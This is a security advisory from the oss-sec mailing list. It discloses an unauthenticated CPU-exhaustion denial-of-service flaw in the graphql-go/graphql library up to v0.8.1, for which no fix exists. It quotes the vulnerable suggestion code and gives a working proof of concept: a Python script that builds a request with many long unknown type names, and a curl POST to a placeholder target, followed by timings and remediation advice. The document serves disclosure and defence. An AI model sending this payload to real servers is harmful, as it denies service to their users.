oss-sec mailing list archives
graphql-go/graphql <= 0.8.1: quadratic CPU-exhaustion DoS via full-schema "did you mean" suggestion scan
From: William Carrier <0x6675636b736f6369617479 () gmail com>
Date: Sat, 29 Aug 2026 18:48:43 +0200
Hello,
This reports an algorithmic-complexity denial-of-service defect in
github.com/graphql-go/graphql, affecting all released versions up to and
including the latest, v0.8.1. No fixed version exists. It is
unauthenticated, network-reachable, triggered purely by attacker-controlled
query text, and requires no special configuration. Reproduced against the
published v0.8.1 module fetched from the Go module proxy.
A CVE ID has been requested from MITRE and is pending.
== Affected ==
Product: github.com/graphql-go/graphql
Versions: all <= v0.8.1; no fix available
CWE: CWE-407 (Inefficient Algorithmic Complexity) / CWE-1050
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High)
== Details ==
When query validation encounters an unknown type name, KnownTypeNamesRule
(rules.go) builds a "Did you mean" suggestion by scanning the WHOLE schema:
ttype := context.Schema().Type(typeNameValue)
if ttype == nil {
suggestedTypes := []string{}
for key := range context.Schema().TypeMap() { // every type in
the schema
suggestedTypes = append(suggestedTypes, key)
}
reportError(context,
unknownTypeMessage(typeNameValue, suggestionList(typeNameValue,
suggestedTypes)),
...)
}
suggestionList calls lexicalDistance(input, opt) for every option.
lexicalDistance is a Levenshtein DP that allocates an (|a|+1) x (|b|+1)
matrix as a slice of slices:
func lexicalDistance(a, b string) float64 {
d := [][]float64{}
... // O(|a| * |b|) cells, each an append
into a slice
}
So each unknown type name costs O(schema_types * name_length *
avg_type_name_len), and a request may contain many unknown type names (one
per query-variable type, per inline-fragment type condition, etc.). Total:
O(unknowns * schema_types * name_length) for a single request. The
magnitude scales with the number of types the target schema defines, any
real-world schema (dozens to hundreds of types) amplifies it substantially.
== Proof of concept ==
One POST declaring K query variables, each typed with a long unknown type
name:
# build a request: query($v0: ZZZ...ZZZ, $v1: ZZZ...ZZZ, ...){ hello }
# K variables, each type name 2000 'Z' chars (an unknown type)
python3 - "$K" <<'PY' > body.json
import sys, json
k = int(sys.argv[1]); name = "Z"*2000
q = "query(" + ",".join("$v%d: %s" % (i, name) for i in range(k)) + "){
hello }"
sys.stdout.write(json.dumps({"query": q}))
PY
curl -s -o /dev/null -w '%{time_total}\n' -X POST http://TARGET/graphql
\
-H 'Content-Type: application/json' --data-binary @body.json
Measured over HTTP against v0.8.1, 300-type schema (linear ~0.3 s/KB):
K=10 (19 KB) -> 4.8 s
K=20 (39 KB) -> 9.8 s
K=40 (78 KB) -> 20.6 s
K=80 (156 KB) -> 48.6 s
K=100 (~198 KB) -> ~55 s
(A schema with only a handful of types yields ~1 s at K=40; the cost grows
with
schema type count.)
== Impact ==
A single unauthenticated ~200 KB request consumes ~55 s of server CPU on a
realistic schema; a small number of concurrent such requests saturates the
worker pool and denies service. No authentication, no special configuration.
== Remediation ==
Skip suggestions when the input exceeds a small length, cap the number of
candidates and the lexicalDistance input length, and short-circuit the DP
when the distance cannot beat the current best (as graphql-js does).
== Credit ==
William Carrier, independent security researcher.
Best,
Current thread:
- graphql-go/graphql <= 0.8.1: quadratic CPU-exhaustion DoS via full-schema "did you mean" suggestion scan William Carrier (Aug 29)
